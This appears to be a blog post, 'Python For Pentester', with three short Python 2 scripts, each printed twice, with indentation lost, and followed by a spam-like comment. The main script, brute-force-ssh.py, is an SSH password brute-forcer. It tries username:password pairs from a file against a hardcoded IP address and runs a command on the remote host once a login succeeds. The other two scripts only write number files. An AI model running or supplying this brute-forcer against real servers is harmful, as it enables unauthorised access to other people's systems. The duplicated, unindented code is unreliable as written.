Python For Pentester
brute-force-ssh.py
#!/usr/bin/env python
import sys
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# assume the username and password is the form of, username:password
username_password = open(sys.argv[1], "r")
for line in username_password.readlines():
user_pass = line.strip().split(':')
try:
ssh.connect('123.123.123.131', username=user_pass[0], password=user_pass[1])
except paramiko.ssh_exception.AuthenticationException:
print '[-] Username %s and Password %s is Incorrect!' % (user_pass[0], user_pass[1])
else:
print '[+] Username %s and Password %s is Correct!' % (user_pass[0], user_pass[1])
stdin, stdout, stderr = ssh.exec_command('hostname')
for line in stdout.readlines():
print(line.strip())
#break
ssh.close()
mkdir-append.py
#!/usr/bin/env python
import os
import sys
# Make a directory name "pyscripts"
os.system('mkdir pyscripts')
f1 = open("pyscripts/file001.txt", "w")
sys.stdout = f1
for i in range(1,11):
print(i)
f1.close()
f2 = open("pyscripts/file002.txt", "w")
sys.stdout = f2
for j in range(11,21):
print(j)
f2.close()
generate-number.py
#!/usr/bin/env python
import sys
import os
# r = read
# w = write
# x = execute
# a = append
f = open("genfile.txt","w")
sys.stdout = f
for i in xrange(0,10):
for j in xrange(0,10):
for k in xrange(0,10):
print i,j,k
f.close()
# Remove Spaces
os.system('sed -i -e \'s/ //g\' genfile.txt')
brute-force-ssh.py
#!/usr/bin/env python
import sys
import paramiko
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# assume the username and password is the form of, username:password
username_password = open(sys.argv[1], "r")
for line in username_password.readlines():
user_pass = line.strip().split(':')
try:
ssh.connect('123.123.123.131', username=user_pass[0], password=user_pass[1])
except paramiko.ssh_exception.AuthenticationException:
print '[-] Username %s and Password %s is Incorrect!' % (user_pass[0], user_pass[1])
else:
print '[+] Username %s and Password %s is Correct!' % (user_pass[0], user_pass[1])
stdin, stdout, stderr = ssh.exec_command('hostname')
for line in stdout.readlines():
print(line.strip())
#break
ssh.close()
#!/usr/bin/env python
import os
import sys
# Make a directory name "pyscripts"
os.system('mkdir pyscripts')
f1 = open("pyscripts/file001.txt", "w")
sys.stdout = f1
for i in range(1,11):
print(i)
f1.close()
f2 = open("pyscripts/file002.txt", "w")
sys.stdout = f2
for j in range(11,21):
print(j)
f2.close()
#!/usr/bin/env python
import sys
import os
# r = read
# w = write
# x = execute
# a = append
f = open("genfile.txt","w")
sys.stdout = f
for i in xrange(0,10):
for j in xrange(0,10):
for k in xrange(0,10):
print i,j,k
f.close()
# Remove Spaces
os.system('sed -i -e \'s/ //g\' genfile.txt')
1 comment:
Thanks for sharing this post. Your post is really very helpful its students. python Online course
Post a Comment